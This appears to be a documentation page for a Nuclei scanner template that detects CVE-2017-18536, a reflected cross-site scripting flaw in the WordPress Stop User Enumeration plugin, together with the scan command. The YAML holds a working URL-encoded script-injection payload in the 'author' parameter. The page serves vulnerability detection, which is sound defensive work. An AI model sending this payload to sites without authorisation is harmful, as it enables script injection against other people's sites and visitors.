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WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting

ID: CVE-2017-18536

Severity: medium

Author: daffainfo

Tags: cve2017,cve,wpscan,wordpress,xss,wp-plugin,fullworks

Description

Section titled “Description”

WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting.

YAML Source

Section titled “YAML Source”
id: CVE-2017-18536


info:
  name: WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting.
  impact: |
    This vulnerability allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, phishing attacks, or defacement of the affected website.
  remediation: |
    Update to the latest version of the WordPress Stop User Enumeration plugin or apply the provided patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/956cc5fd-af06-43ac-aa85-46b468c73501
    - https://wordpress.org/plugins/stop-user-enumeration/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18536
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18536
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.3753
    cpe: cpe:2.3:a:fullworks:stop_user_enumeration:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: fullworks
    product: stop_user_enumeration
    framework: wordpress
  tags: cve2017,cve,wpscan,wordpress,xss,wp-plugin,fullworks


http:
  - method: GET
    path:
      - "{{BaseURL}}/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "forbidden - number in author"
          - "</script><script>alert(document.domain)</script>"
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-18536.yaml"

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